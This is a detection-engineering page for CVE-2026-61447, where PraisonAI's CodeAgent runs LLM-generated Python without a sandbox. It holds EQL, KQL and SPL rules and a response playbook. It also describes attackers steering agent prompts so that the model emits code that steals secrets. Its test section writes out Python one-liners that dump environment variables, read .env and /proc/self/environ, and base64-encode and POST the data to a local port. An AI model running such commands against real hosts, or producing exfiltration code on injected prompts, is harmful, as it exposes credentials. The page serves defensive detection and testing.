CVE-2026-61447 Elastic Security · Elastic

Detect PraisonAI CodeAgent Unsandboxed LLM Code Execution & Secret Exfiltration (CVE-2026-61447) in Elastic Security

Detects exploitation of CVE-2026-61447, a CVSS 10.0 flaw in the PraisonAI praisonaiagents Python package (<= 1.6.77) where CodeAgent executes LLM-generated Python code without any sandboxing. An attacker who can influence agent prompts can coerce the LLM into emitting arbitrary Python that runs in the host process context, enabling remote code execution and wholesale exfiltration of environment variables (API keys, cloud credentials, DB secrets). This detection surfaces vulnerable package versions, the Python interpreter spawning suspicious child processes or network connections from an agent runtime, and telemetry consistent with environment-secret harvesting (os.environ dumps, reads of .env, outbound exfil).

MITRE ATT&CK

Tactic
Execution Exfiltration Credential Access

Elastic Detection Query

Elastic Security (Elastic)
eql 
process where event.type == "start" and
  (process.name in ("python","python3","python.exe") or process.parent.name in ("python","python3","python.exe")) and
  (
    process.command_line : ("*praisonai*","*CodeAgent*","*os.environ*","*printenv*","*/proc/self/environ*") and
    process.command_line : ("*curl*","*wget*","*requests.post*","*urllib*","*base64*","*socket*","*subprocess*","*exec(*","*eval(*")
  )
critical severity medium confidence

EQL rule matching python agent process starts that combine environment-secret access with exfiltration/encoding primitives tied to PraisonAI CodeAgent exploitation.

Data Sources

Elastic DefendWinlogbeat SysmonAuditbeat

Required Tables

logs-endpoint.events.process-*

False Positives & Tuning

  • Normal PraisonAI agent operation accessing environment configuration
  • Developer environment inspection during troubleshooting
  • Build tooling encoding artifacts from python

Other platforms for CVE-2026-61447

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulate CodeAgent executing LLM-generated environment dump

    Expected signal: Process start event for python3 with command line referencing os.environ.

  2. Test 2 Simulate secret exfiltration via base64-encoded POST

    Expected signal: python3 process with command line containing os.environ, base64, and urllib; outbound connection attempt.

  3. Test 3 Read .env and /proc/self/environ from python

    Expected signal: python process reading /tmp/.env and /proc/self/environ; process start with those paths in command line.

  4. Test 4 Windows PraisonAI CodeAgent exec simulation

    Expected signal: python.exe process start with command line containing exec( and os.environ.

Last updated: 2026-10-18 Research depth: standard
References (5)

Response Playbook

Triage

  1. Confirm whether the affected host runs the PraisonAI praisonaiagents Python package: run `pip show praisonaiagents` (or inspect the venv/requirements lockfile) and flag any version <= 1.6.77.
  2. Determine whether CodeAgent is actually instantiated and reachable by untrusted input — grep the application for `CodeAgent(` and trace which prompts/tools feed it user-controlled or web-sourced content.
  3. Review the flagged python process command line and spawned children for os.environ dumps, reads of .env or /proc/self/environ, and outbound connections to unexpected hosts, correlating timestamps with agent request logs.
  4. Pull the LLM prompt/response transcript around the event window to confirm whether the model emitted code containing exfiltration logic.

Containment

  1. Immediately disable or feature-flag the CodeAgent surface, or block untrusted input paths to it, until the package is upgraded past 1.6.77.
  2. Isolate the affected host/container from the network if active secret exfiltration is confirmed, and quarantine the python process.

Evidence Collection

  1. Capture the full process tree, command lines, and loaded modules for the python agent process, plus any outbound netflow/DNS from that PID.
  2. Preserve application logs, LLM request/response transcripts, and the .env / environment snapshot of the process to establish which secrets were exposed.

Escalation Criteria

  • !Escalate to IR if environment secrets (cloud keys, API tokens, DB credentials) were read and any outbound connection left the host after that read.
  • !Escalate to credential-rotation workflow immediately if os.environ/printenv output was observed being encoded (base64) and transmitted, treating all process secrets as compromised.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >python process command lines and child-process tree
  • >outbound connection/DNS records from the agent PID
  • >LLM prompt/response transcripts and application request logs
  • >.env files and the environment block of the agent process (/proc/<pid>/environ on Linux)

Tuning Guidance

Baseline legitimate PraisonAI/CodeAgent hosts and allowlist their expected environment reads at startup, then alert on the conjunction of secret access with outbound-network or base64 encoding. In environments without CodeAgent exposed to untrusted input, prioritize the version-inventory signal (praisonaiagents <= 1.6.77) over behavioral matches to reduce noise. Narrow process filters to the specific service accounts running agents, and exclude known developer workstations from behavioral rules to cut false positives.

Hunting Queries

Hunts across 30 days for python processes that read environment secrets and also invoke encoding or network-exfil primitives, independent of the PraisonAI keyword.

Hunting — KQL
kql 
DeviceProcessEvents | where TimeGenerated > ago(30d) | where InitiatingProcessFileName in~ ("python","python3","python.exe") | where ProcessCommandLine has_any ("os.environ","printenv","/proc/self/environ") and ProcessCommandLine has_any ("base64","requests.post","curl","wget","urllib","socket") | project TimeGenerated, DeviceName, ProcessCommandLine
Hunting — SPL
spl 
index=endpoint process_name IN ("python","python3","python.exe") (process="*os.environ*" OR process="*printenv*" OR process="*/proc/self/environ*") (process="*base64*" OR process="*requests.post*" OR process="*curl*" OR process="*wget*" OR process="*socket*") | table _time host process

Atomic Red Team Tests

Test 1 Simulate CodeAgent executing LLM-generated environment dump
linux

Runs a python one-liner that dumps all environment variables, emulating unsandboxed LLM-generated code harvesting secrets.

Command

bash 
python3 -c "import os,json;print(json.dumps(dict(os.environ)))"

Cleanup

bash 
unset TEST_SECRET 2>/dev/null; true

Expected Telemetry

Process start event for python3 with command line referencing os.environ.

Expected Detection

KQL/SPL/EDR rules flag python process command line containing os.environ.

Test 2 Simulate secret exfiltration via base64-encoded POST
linux

Emulates the full exploit chain: read environment, base64-encode, and attempt an outbound POST of the encoded secrets.

Command

bash 
python3 -c "import os,base64,urllib.request;d=base64.b64encode(str(dict(os.environ)).encode());urllib.request.urlopen('http://127.0.0.1:9/'+d.decode()[:8])" 2>/dev/null; true

Cleanup

bash 
true

Expected Telemetry

python3 process with command line containing os.environ, base64, and urllib; outbound connection attempt.

Expected Detection

Behavioral rules match conjunction of environment access with base64 and urllib/network primitives.

Test 3 Read .env and /proc/self/environ from python
linux

Simulates an agent reading on-disk and in-memory secret stores, a common post-exploitation action.

Command

bash 
echo 'API_KEY=lab-dummy' > /tmp/.env && python3 -c "open('/tmp/.env').read(); open('/proc/self/environ','rb').read()"

Cleanup

bash 
rm -f /tmp/.env

Expected Telemetry

python process reading /tmp/.env and /proc/self/environ; process start with those paths in command line.

Expected Detection

Hunting queries and file-access telemetry flag python reads of .env and /proc/self/environ.

Test 4 Windows PraisonAI CodeAgent exec simulation
windows

Emulates CodeAgent exec() of LLM-generated code dumping environment variables on Windows.

Command

powershell 
python.exe -c "import os;exec('import json;print(json.dumps(dict(os.environ)))')"

Cleanup

powershell 
echo no-cleanup-needed

Expected Telemetry

python.exe process start with command line containing exec( and os.environ.

Expected Detection

Sysmon/EDR rules match python.exe command line combining exec( with os.environ.

Related Detections

Tactic Hubs

TA0002 Execution TA0010 Exfiltration TA0006 Credential Access

Related Techniques

T1059.006 Python T1552.001 Credentials In Files T1041 Exfiltration Over C2 Channel

Same Tactic: Execution

Popular Detections